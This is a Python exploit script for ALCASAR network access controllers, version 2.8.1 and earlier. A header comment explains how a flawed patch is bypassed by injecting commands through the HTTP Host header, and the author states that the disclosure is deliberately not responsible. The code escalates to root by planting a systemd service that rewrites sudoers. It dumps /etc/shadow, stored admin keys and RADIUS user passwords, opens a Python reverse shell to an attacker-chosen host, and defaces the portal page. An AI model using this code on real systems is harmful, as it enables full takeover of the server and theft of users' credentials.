1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 |
#!/usr/bin/env python # -*- coding: utf-8 -*- # #### # #ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability # #Author: eF #Date: 2014-09-12 #URL : http://www.alcasar.net/ # #This is not a responsible disclosure coz' I have no sense of ethics and I don't give a f*ck. # #db 88 ,ad8888ba, db ad88888ba db 88888888ba # d88b88d8"'<code>"8b d88b d8" "8b d88b88"8b #d8'</code>8b 88 d8'd8'<code>8bY8,d8'</code>8b 88,8P # d8'<code>8b88 88d8'</code>8b <code>Y8aaaaa, d8'</code>8b88aaaaaa8P' #d8YaaaaY8b 88 88 d8YaaaaY8b<code>"""""8b,d8YaaaaY8b 88""""88' # d8""""""""8b88 Y8, d8""""""""8b </code>8b d8""""""""8b88<code>8b #d8'</code>8b 88Y8a..a8Pd8'<code>8bY8a a8Pd8'</code>8b 88 <code>8b # d8'</code>8b88888888888<code>"Y8888Y"'d8'</code>8b"Y88888P"d8'<code>8b88</code>8b # # # ALCASAR is a free Network Access Controller which controls the Internet consultation networks. # It authenticates, attributes and protects users' access regardless their connected equipment # (PC, smartphone, game console, etc.). # # I recently released an exploit for ALCASAR 2.8 (ALCASAR <= 2.8 Remote Code Execution Vulnerability Root). # As a reminder, it was a trivial code execution via a unfiltered exec() call: # # $pattern = preg_replace('/www./','',$_SERVER['HTTP_HOST']); # exec("grep -Re ^$pattern$ /etc/dansguardian/lists/blacklists/*/domains|cut -d'/' -f6", $output); # # A few days later, a new version corrects the vulnerability. Or maybe not... # # At first, this is how ALCASAR's developers present the previous vulnerability: # # " A security hole has been discovered on ALCASAR V2.8 (only this version). This vulnerability allows a user " # " connected on the LAN to retrieve a lot of data from the server. The ALCASAR team is testing few security" # " patches. A script that you could run on the active servers will be available on this forum ASAP. At that" # " time, the download version of ALCASAR will be incremented (V2.8.1) " # # ?!? This vulnerability allows a user connected on the LAN to *TOTALLY PWN* the server: # Get a root shell, stop all services, sniff all connections, inject data in users' sessions, sniff passwords, # bypass firewall rules, act as another user, etc. # This is not just a matter of "retrieving a lot of data from the server". # # Not to alert users of real criticality of a vulnerability is a very serious lack of security. # Lying by saying that the vulnerability only affects version 2.8 while it also affects version 2.7 is another # one. # # Now, the patch itself: it tries to correct the vulnerability by filtering the vulnerable input: # # $pattern = filter_var($pattern, FILTER_VALIDATE_URL) == false ? "" : $pattern; # # WTF?! # First, I think that the application no longer works. By default, filter_var() is going to accept an URL # only if its scheme is valid: # # $ php -r 'var_dump(filter_var("www.google.com", FILTER_VALIDATE_URL));' # bool(false) # $ php -r 'var_dump(filter_var("http://www.google.com", FILTER_VALIDATE_URL));' # string(21) "http://www.google.com" # # But... we cannot put http:// in the HTTP host field, the HTTP server won't let us... # Dev, did you try your patch? # Instead, to execute code, it's quite easy to bypass this filtering using "mailto:email@valid.tld;cmd;" # Service down, vulnerability still present: double fail. # # The privilege escalation in the previous exploit was using openssl, to gain reading and writing rights # as root. # # The patch therefore removes openssl in the sudoers file (without changing the legitimate # calls in the PHP code...). So let's use another method: systemctl is still callable via sudo... # # We can create a service with our command and start it as root: # # sudo systemctl link /tmp/pwn3d.service # sudo systemctl start pwn3d.service # # Conclusion: triple fail. # # Wouldn't a "responsable de la sécurité des systèmes d'information d'un grand commandement" need a # little training on secure PHP development? # # On ALCASAR website: # # "The security of the portal has been worked out like a bastion in order to resist to different # kinds of threat" # # LOLZ!!! Remote Root Code Execution does not seem to be part of these "different kinds of threat". # # ALCASAR is not built with security in mind. Apache user can sudo, there is no chroot, no separation, # the PHP code is dreadful, some passwords are unnecessarily stored in plaintext, the function to # generate user password is weak, there are no system updates (kernel is out to date, from Jul 4 2013), # etc. # # Development is not really open either: there is no bugtracker, no trac, no way to see what has been # patched, etc. If the elementary rules of open source development had been met, a user could have # prevented this 2.8.1 patch from being crap. # # #### import sys, os, re, httplib class PWN_Alcasar: def __init__(self, host): self.host = host self.root = False def exec_cmd(self, cmd, output=False): tag = os.urandom(4).encode('hex') cmd = 'bash -c "%s" 2>&1' % cmd.replace('"', '\\"') if self.root: cmd = 'sudo %s' % cmd wrapper = 'echo %s;echo %s|base64 -d -w0|sh|base64 -w0' % (tag, cmd.encode('base64').replace('\n','')) wrapper = wrapper.replace(' ', '${IFS}') headers = { 'host' : 'mailto:eF@cosmic.nato;%s;#' % wrapper } c = httplib.HTTPConnection(self.host) c.request('GET', '/index.php', '', headers) r = c.getresponse() data = r.read() c.close() m = re.search(r'%s, (.*)\s</div>' % tag, data) if m: data = m.group(1).decode('base64') if output: print data return data return None def read_file(self, filepath, output=True): return self.exec_cmd('cat "%s"' % filepath, output=output) def read_passwords(self): self.read_file('/root/ALCASAR-passwords.txt') self.read_file('/etc/shadow') self.read_file('/usr/local/etc/digest/key_all') self.read_file('/usr/local/etc/digest/key_admin') self.read_file('/usr/local/etc/digest/key_backup') self.read_file('/usr/local/etc/digest/key_manager') self.read_file('/usr/local/etc/digest/key_only_admin') self.read_file('/usr/local/etc/digest/key_only_backup') self.read_file('/usr/local/etc/digest/key_only_manager') alcasar_mysql = self.read_file('/usr/local/sbin/alcasar-mysql.sh', output=False) if alcasar_mysql: m = re.search(r'radiuspwd="(.*)"', alcasar_mysql) if m: radiuspwd = m.group(1) sql = 'SELECT username,value FROM radcheck WHERE attribute like \'%%password%%\'' self.exec_cmd('mysql -uradius -p\"%s\" radius -e "%s"' % (radiuspwd, sql), output=True) def edit_sudoers(self): service ='[Unit]\n' service += 'Description=Just another ALCASAR lolcalr00t\n\n' service += '[Service]\n' service += 'Type=forking\n' service += 'KillMode=process\n' service += 'ExecStart=/bin/sh -c "sed -i s/BL,NF/BL,ALL,NF/g /etc/sudoers"\n' self.exec_cmd('echo %s | openssl base64 -d -out /tmp/Pwn3d.service -A' % service.encode('base64').replace('\n', '')) self.exec_cmd('sudo systemctl link /tmp/Pwn3d.service') self.exec_cmd('sudo systemctl start Pwn3d.service') if exploit.exec_cmd('sudo id').find('uid=0') != -1: self.root = True def reverse_shell(self, rip, rport='80'): payload = 'import socket,subprocess,os;' payload += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' payload += 's.connect((\'%s\',%s));' % (rip, rport) payload += 'os.dup2(s.fileno(),0);' payload += 'os.dup2(s.fileno(),1);' payload += 'os.dup2(s.fileno(),2);' payload += 'p=subprocess.call([\'/bin/sh\',\'-i\']);' return self.exec_cmd('python -c "%s"' % payload) def lolz(self): old = 'http://www.wikipedia.org' new = 'https://www.youtube.com/watch\?v=Q-J0f1yF75Y' self.exec_cmd('sed -i s,%s,%s,g /var/www/html/index.php' % (old, new), True) def usage(): print 'Usage: %s host command (ip) (port)' % sys.argv[0] print ' "command" can be a shell command or "reverseshell"' sys.exit(0) if __name__ == '__main__': print '#' * 80 print '# ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability' print '# Author: eF' print '#' * 80 if len(sys.argv) < 3: usage() cmd = sys.argv[2] if cmd == 'reverseshell': if len(sys.argv) < 5: print '[!] Need IP and port for the reverse shell...' sys.exit(0) rip = sys.argv[3] rport = sys.argv[4] exploit = PWN_Alcasar(sys.argv[1]) print '[-] whoami (should be apache):' exploit.exec_cmd('id', output=True) print '[+] On the way to the uid 0...' exploit.edit_sudoers() print '[-] Got root?' exploit.exec_cmd('id', output=True) exploit.lolz() if exploit.root: print '[+] Here are some passwords for you (again):' exploit.read_passwords() if cmd == 'reverseshell': print '[+] You should now have a shell on %s:%s' % (rip, rport) exploit.reverse_shell(rip, rport) else: print '[+] Your command Sir:' exploit.exec_cmd(cmd, output=True) sys.exit(1) |